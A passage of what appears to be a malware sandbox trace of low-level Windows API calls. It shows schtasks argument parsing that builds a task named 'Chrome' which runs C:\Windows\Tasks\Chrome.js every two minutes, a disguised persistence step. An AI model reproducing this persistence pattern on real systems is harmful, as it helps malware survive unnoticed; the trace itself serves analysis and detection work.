returned 0 [0056.475] lstrlenW (lpString="sc") returned 2 [0056.475] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.475] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|run|") returned 5 [0056.475] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|sc|") returned 4 [0056.475] lstrlenW (lpString="|run|") returned 5 [0056.475] lstrlenW (lpString="|sc|") returned 4 [0056.476] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0056.476] SetLastError (dwErrCode=0x490) [0056.476] lstrlenW (lpString="end") returned 3 [0056.476] lstrlenW (lpString="end") returned 3 [0056.476] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.476] lstrlenW (lpString="sc") returned 2 [0056.476] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.476] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|end|") returned 5 [0056.476] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|sc|") returned 4 [0056.476] lstrlenW (lpString="|end|") returned 5 [0056.476] lstrlenW (lpString="|sc|") returned 4 [0056.476] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0056.476] SetLastError (dwErrCode=0x490) [0056.476] lstrlenW (lpString="showsid") returned 7 [0056.476] lstrlenW (lpString="showsid") returned 7 [0056.476] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.476] lstrlenW (lpString="sc") returned 2 [0056.476] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.476] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0xa, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|showsid|") returned 9 [0056.476] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|sc|") returned 4 [0056.476] lstrlenW (lpString="|showsid|") returned 9 [0056.476] lstrlenW (lpString="|sc|") returned 4 [0056.476] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0056.476] SetLastError (dwErrCode=0x490) [0056.476] SetLastError (dwErrCode=0x490) [0056.476] SetLastError (dwErrCode=0x0) [0056.476] lstrlenW (lpString="/sc") returned 3 [0056.476] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0056.476] SetLastError (dwErrCode=0x490) [0056.476] SetLastError (dwErrCode=0x0) [0056.476] lstrlenW (lpString="/sc") returned 3 [0056.477] SetLastError (dwErrCode=0x0) [0056.477] SetLastError (dwErrCode=0x0) [0056.477] lstrlenW (lpString="MINUTE") returned 6 [0056.477] lstrlenW (lpString="-/") returned 2 [0056.477] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0056.477] SetLastError (dwErrCode=0x490) [0056.477] SetLastError (dwErrCode=0x490) [0056.477] SetLastError (dwErrCode=0x0) [0056.477] lstrlenW (lpString="MINUTE") returned 6 [0056.477] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0056.477] SetLastError (dwErrCode=0x490) [0056.477] SetLastError (dwErrCode=0x0) [0056.477] lstrlenW (lpString="MINUTE") returned 6 [0056.477] SetLastError (dwErrCode=0x0) [0056.477] SetLastError (dwErrCode=0x0) [0056.477] lstrlenW (lpString="/tn") returned 3 [0056.477] lstrlenW (lpString="-/") returned 2 [0056.477] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0056.477] lstrlenW (lpString="?") returned 1 [0056.477] lstrlenW (lpString="?") returned 1 [0056.477] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.477] lstrlenW (lpString="tn") returned 2 [0056.477] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.477] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|?|") returned 3 [0056.477] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tn|") returned 4 [0056.477] lstrlenW (lpString="|?|") returned 3 [0056.477] lstrlenW (lpString="|tn|") returned 4 [0056.477] SetLastError (dwErrCode=0x490) [0056.477] lstrlenW (lpString="create") returned 6 [0056.477] lstrlenW (lpString="create") returned 6 [0056.477] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.477] lstrlenW (lpString="tn") returned 2 [0056.477] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.477] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|create|") returned 8 [0056.477] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tn|") returned 4 [0056.477] lstrlenW (lpString="|create|") returned 8 [0056.478] lstrlenW (lpString="|tn|") returned 4 [0056.478] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0056.478] SetLastError (dwErrCode=0x490) [0056.478] lstrlenW (lpString="delete") returned 6 [0056.478] lstrlenW (lpString="delete") returned 6 [0056.478] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.478] lstrlenW (lpString="tn") returned 2 [0056.478] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.478] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|delete|") returned 8 [0056.478] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tn|") returned 4 [0056.478] lstrlenW (lpString="|delete|") returned 8 [0056.478] lstrlenW (lpString="|tn|") returned 4 [0056.478] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0056.478] SetLastError (dwErrCode=0x490) [0056.478] lstrlenW (lpString="query") returned 5 [0056.478] lstrlenW (lpString="query") returned 5 [0056.478] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.478] lstrlenW (lpString="tn") returned 2 [0056.478] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.478] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x8, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|query|") returned 7 [0056.478] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tn|") returned 4 [0056.478] lstrlenW (lpString="|query|") returned 7 [0056.478] lstrlenW (lpString="|tn|") returned 4 [0056.478] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0056.478] SetLastError (dwErrCode=0x490) [0056.478] lstrlenW (lpString="change") returned 6 [0056.478] lstrlenW (lpString="change") returned 6 [0056.478] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.478] lstrlenW (lpString="tn") returned 2 [0056.478] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.478] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|change|") returned 8 [0056.478] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tn|") returned 4 [0056.478] lstrlenW (lpString="|change|") returned 8 [0056.478] lstrlenW (lpString="|tn|") returned 4 [0056.478] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0056.478] SetLastError (dwErrCode=0x490) [0056.478] lstrlenW (lpString="run") returned 3 [0056.478] lstrlenW (lpString="run") returned 3 [0056.479] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.479] lstrlenW (lpString="tn") returned 2 [0056.479] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.479] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|run|") returned 5 [0056.479] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tn|") returned 4 [0056.479] lstrlenW (lpString="|run|") returned 5 [0056.479] lstrlenW (lpString="|tn|") returned 4 [0056.479] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0056.479] SetLastError (dwErrCode=0x490) [0056.479] lstrlenW (lpString="end") returned 3 [0056.479] lstrlenW (lpString="end") returned 3 [0056.479] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.479] lstrlenW (lpString="tn") returned 2 [0056.479] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.479] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|end|") returned 5 [0056.479] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tn|") returned 4 [0056.479] lstrlenW (lpString="|end|") returned 5 [0056.479] lstrlenW (lpString="|tn|") returned 4 [0056.479] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0056.479] SetLastError (dwErrCode=0x490) [0056.479] lstrlenW (lpString="showsid") returned 7 [0056.479] lstrlenW (lpString="showsid") returned 7 [0056.479] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.479] lstrlenW (lpString="tn") returned 2 [0056.479] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.479] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0xa, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|showsid|") returned 9 [0056.479] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tn|") returned 4 [0056.479] lstrlenW (lpString="|showsid|") returned 9 [0056.479] lstrlenW (lpString="|tn|") returned 4 [0056.479] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0056.479] SetLastError (dwErrCode=0x490) [0056.479] SetLastError (dwErrCode=0x490) [0056.479] SetLastError (dwErrCode=0x0) [0056.479] lstrlenW (lpString="/tn") returned 3 [0056.479] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0056.479] SetLastError (dwErrCode=0x490) [0056.479] SetLastError (dwErrCode=0x0) [0056.480] lstrlenW (lpString="/tn") returned 3 [0056.480] SetLastError (dwErrCode=0x0) [0056.480] SetLastError (dwErrCode=0x0) [0056.480] lstrlenW (lpString="Chrome") returned 6 [0056.480] lstrlenW (lpString="-/") returned 2 [0056.480] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0056.480] SetLastError (dwErrCode=0x490) [0056.480] SetLastError (dwErrCode=0x490) [0056.480] SetLastError (dwErrCode=0x0) [0056.480] lstrlenW (lpString="Chrome") returned 6 [0056.480] StrChrIW (lpStart="Chrome", wMatch=0x3a) returned 0x0 [0056.480] SetLastError (dwErrCode=0x490) [0056.480] SetLastError (dwErrCode=0x0) [0056.480] lstrlenW (lpString="Chrome") returned 6 [0056.480] SetLastError (dwErrCode=0x0) [0056.480] SetLastError (dwErrCode=0x0) [0056.480] lstrlenW (lpString="/tr") returned 3 [0056.480] lstrlenW (lpString="-/") returned 2 [0056.480] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0056.480] lstrlenW (lpString="?") returned 1 [0056.480] lstrlenW (lpString="?") returned 1 [0056.480] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.480] lstrlenW (lpString="tr") returned 2 [0056.480] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.480] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|?|") returned 3 [0056.480] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tr|") returned 4 [0056.480] lstrlenW (lpString="|?|") returned 3 [0056.480] lstrlenW (lpString="|tr|") returned 4 [0056.480] SetLastError (dwErrCode=0x490) [0056.480] lstrlenW (lpString="create") returned 6 [0056.480] lstrlenW (lpString="create") returned 6 [0056.480] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.480] lstrlenW (lpString="tr") returned 2 [0056.480] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.480] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|create|") returned 8 [0056.481] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tr|") returned 4 [0056.481] lstrlenW (lpString="|create|") returned 8 [0056.481] lstrlenW (lpString="|tr|") returned 4 [0056.481] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0056.481] SetLastError (dwErrCode=0x490) [0056.481] lstrlenW (lpString="delete") returned 6 [0056.481] lstrlenW (lpString="delete") returned 6 [0056.481] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.481] lstrlenW (lpString="tr") returned 2 [0056.481] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.481] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|delete|") returned 8 [0056.481] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tr|") returned 4 [0056.481] lstrlenW (lpString="|delete|") returned 8 [0056.481] lstrlenW (lpString="|tr|") returned 4 [0056.481] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0056.481] SetLastError (dwErrCode=0x490) [0056.481] lstrlenW (lpString="query") returned 5 [0056.481] lstrlenW (lpString="query") returned 5 [0056.481] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.481] lstrlenW (lpString="tr") returned 2 [0056.481] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.481] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x8, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|query|") returned 7 [0056.481] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tr|") returned 4 [0056.481] lstrlenW (lpString="|query|") returned 7 [0056.481] lstrlenW (lpString="|tr|") returned 4 [0056.481] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0056.481] SetLastError (dwErrCode=0x490) [0056.481] lstrlenW (lpString="change") returned 6 [0056.481] lstrlenW (lpString="change") returned 6 [0056.481] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.481] lstrlenW (lpString="tr") returned 2 [0056.481] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.481] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|change|") returned 8 [0056.481] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tr|") returned 4 [0056.481] lstrlenW (lpString="|change|") returned 8 [0056.481] lstrlenW (lpString="|tr|") returned 4 [0056.481] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0056.481] SetLastError (dwErrCode=0x490) [0056.482] lstrlenW (lpString="run") returned 3 [0056.482] lstrlenW (lpString="run") returned 3 [0056.482] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.482] lstrlenW (lpString="tr") returned 2 [0056.482] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.482] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|run|") returned 5 [0056.482] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tr|") returned 4 [0056.482] lstrlenW (lpString="|run|") returned 5 [0056.482] lstrlenW (lpString="|tr|") returned 4 [0056.482] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0056.482] SetLastError (dwErrCode=0x490) [0056.482] lstrlenW (lpString="end") returned 3 [0056.482] lstrlenW (lpString="end") returned 3 [0056.482] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.482] lstrlenW (lpString="tr") returned 2 [0056.482] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.482] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|end|") returned 5 [0056.482] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tr|") returned 4 [0056.482] lstrlenW (lpString="|end|") returned 5 [0056.482] lstrlenW (lpString="|tr|") returned 4 [0056.482] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0056.482] SetLastError (dwErrCode=0x490) [0056.482] lstrlenW (lpString="showsid") returned 7 [0056.482] lstrlenW (lpString="showsid") returned 7 [0056.482] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.482] lstrlenW (lpString="tr") returned 2 [0056.482] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.482] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0xa, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|showsid|") returned 9 [0056.482] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|tr|") returned 4 [0056.482] lstrlenW (lpString="|showsid|") returned 9 [0056.482] lstrlenW (lpString="|tr|") returned 4 [0056.482] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0056.482] SetLastError (dwErrCode=0x490) [0056.482] SetLastError (dwErrCode=0x490) [0056.482] SetLastError (dwErrCode=0x0) [0056.482] lstrlenW (lpString="/tr") returned 3 [0056.482] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0056.482] SetLastError (dwErrCode=0x490) [0056.482] SetLastError (dwErrCode=0x0) [0056.482] lstrlenW (lpString="/tr") returned 3 [0056.482] SetLastError (dwErrCode=0x0) [0056.482] SetLastError (dwErrCode=0x0) [0056.483] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0056.483] lstrlenW (lpString="-/") returned 2 [0056.483] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0056.483] SetLastError (dwErrCode=0x490) [0056.483] SetLastError (dwErrCode=0x490) [0056.483] SetLastError (dwErrCode=0x0) [0056.483] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0056.483] StrChrIW (lpStart="C:\\Windows\\Tasks\\Chrome.js", wMatch=0x3a) returned=":\\Windows\\Tasks\\Chrome.js" [0056.483] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0056.483] _memicmp (_Buf1=0x1bd610, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.483] _memicmp (_Buf1=0x1bd650, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.483] SetLastError (dwErrCode=0x7a) [0056.483] SetLastError (dwErrCode=0x0) [0056.483] SetLastError (dwErrCode=0x0) [0056.483] lstrlenW (lpString="C") returned 1 [0056.483] SetLastError (dwErrCode=0x490) [0056.483] SetLastError (dwErrCode=0x0) [0056.483] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0056.483] SetLastError (dwErrCode=0x0) [0056.483] SetLastError (dwErrCode=0x0) [0056.483] lstrlenW (lpString="/mo") returned 3 [0056.483] lstrlenW (lpString="-/") returned 2 [0056.483] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0056.483] lstrlenW (lpString="?") returned 1 [0056.483] lstrlenW (lpString="?") returned 1 [0056.483] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.483] lstrlenW (lpString="mo") returned 2 [0056.483] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.483] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|?|") returned 3 [0056.483] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|mo|") returned 4 [0056.484] lstrlenW (lpString="|?|") returned 3 [0056.484] lstrlenW (lpString="|mo|") returned 4 [0056.484] SetLastError (dwErrCode=0x490) [0056.484] lstrlenW (lpString="create") returned 6 [0056.484] lstrlenW (lpString="create") returned 6 [0056.484] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.484] lstrlenW (lpString="mo") returned 2 [0056.484] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.484] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|create|") returned 8 [0056.484] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|mo|") returned 4 [0056.484] lstrlenW (lpString="|create|") returned 8 [0056.484] lstrlenW (lpString="|mo|") returned 4 [0056.484] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0056.484] SetLastError (dwErrCode=0x490) [0056.484] lstrlenW (lpString="delete") returned 6 [0056.484] lstrlenW (lpString="delete") returned 6 [0056.484] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.484] lstrlenW (lpString="mo") returned 2 [0056.484] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.484] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|delete|") returned 8 [0056.484] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|mo|") returned 4 [0056.484] lstrlenW (lpString="|delete|") returned 8 [0056.484] lstrlenW (lpString="|mo|") returned 4 [0056.484] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0056.484] SetLastError (dwErrCode=0x490) [0056.484] lstrlenW (lpString="query") returned 5 [0056.484] lstrlenW (lpString="query") returned 5 [0056.484] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.484] lstrlenW (lpString="mo") returned 2 [0056.484] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.484] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x8, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|query|") returned 7 [0056.484] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|mo|") returned 4 [0056.484] lstrlenW (lpString="|query|") returned 7 [0056.484] lstrlenW (lpString="|mo|") returned 4 [0056.484] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0056.484] SetLastError (dwErrCode=0x490) [0056.484] lstrlenW (lpString="change") returned 6 [0056.484] lstrlenW (lpString="change") returned 6 [0056.484] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.484] lstrlenW (lpString="mo") returned 2 [0056.484] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.484] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|change|") returned 8 [0056.485] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|mo|") returned 4 [0056.485] lstrlenW (lpString="|change|") returned 8 [0056.485] lstrlenW (lpString="|mo|") returned 4 [0056.485] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0056.485] SetLastError (dwErrCode=0x490) [0056.485] lstrlenW (lpString="run") returned 3 [0056.485] lstrlenW (lpString="run") returned 3 [0056.485] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.485] lstrlenW (lpString="mo") returned 2 [0056.485] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.485] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|run|") returned 5 [0056.485] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|mo|") returned 4 [0056.485] lstrlenW (lpString="|run|") returned 5 [0056.485] lstrlenW (lpString="|mo|") returned 4 [0056.485] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0056.485] SetLastError (dwErrCode=0x490) [0056.485] lstrlenW (lpString="end") returned 3 [0056.485] lstrlenW (lpString="end") returned 3 [0056.485] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.485] lstrlenW (lpString="mo") returned 2 [0056.485] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.485] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|end|") returned 5 [0056.485] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|mo|") returned 4 [0056.485] lstrlenW (lpString="|end|") returned 5 [0056.485] lstrlenW (lpString="|mo|") returned 4 [0056.485] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0056.485] SetLastError (dwErrCode=0x490) [0056.485] lstrlenW (lpString="showsid") returned 7 [0056.485] lstrlenW (lpString="showsid") returned 7 [0056.485] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.485] lstrlenW (lpString="mo") returned 2 [0056.485] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.485] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0xa, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|showsid|") returned 9 [0056.485] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f608 | out: _Buffer="|mo|") returned 4 [0056.485] lstrlenW (lpString="|showsid|") returned 9 [0056.485] lstrlenW (lpString="|mo|") returned 4 [0056.485] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0056.485] SetLastError (dwErrCode=0x490) [0056.485] SetLastError (dwErrCode=0x490) [0056.485] SetLastError (dwErrCode=0x0) [0056.485] lstrlenW (lpString="/mo") returned 3 [0056.485] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0056.485] SetLastError (dwErrCode=0x490) [0056.485] SetLastError (dwErrCode=0x0) [0056.486] lstrlenW (lpString="/mo") returned 3 [0056.486] SetLastError (dwErrCode=0x0) [0056.486] SetLastError (dwErrCode=0x0) [0056.486] lstrlenW (lpString="2") returned 1 [0056.486] SetLastError (dwErrCode=0x490) [0056.486] SetLastError (dwErrCode=0x0) [0056.486] lstrlenW (lpString="2") returned 1 [0056.486] StrChrIW (lpStart="2", wMatch=0x3a) returned 0x0 [0056.486] SetLastError (dwErrCode=0x490) [0056.486] SetLastError (dwErrCode=0x0) [0056.486] lstrlenW (lpString="2") returned 1 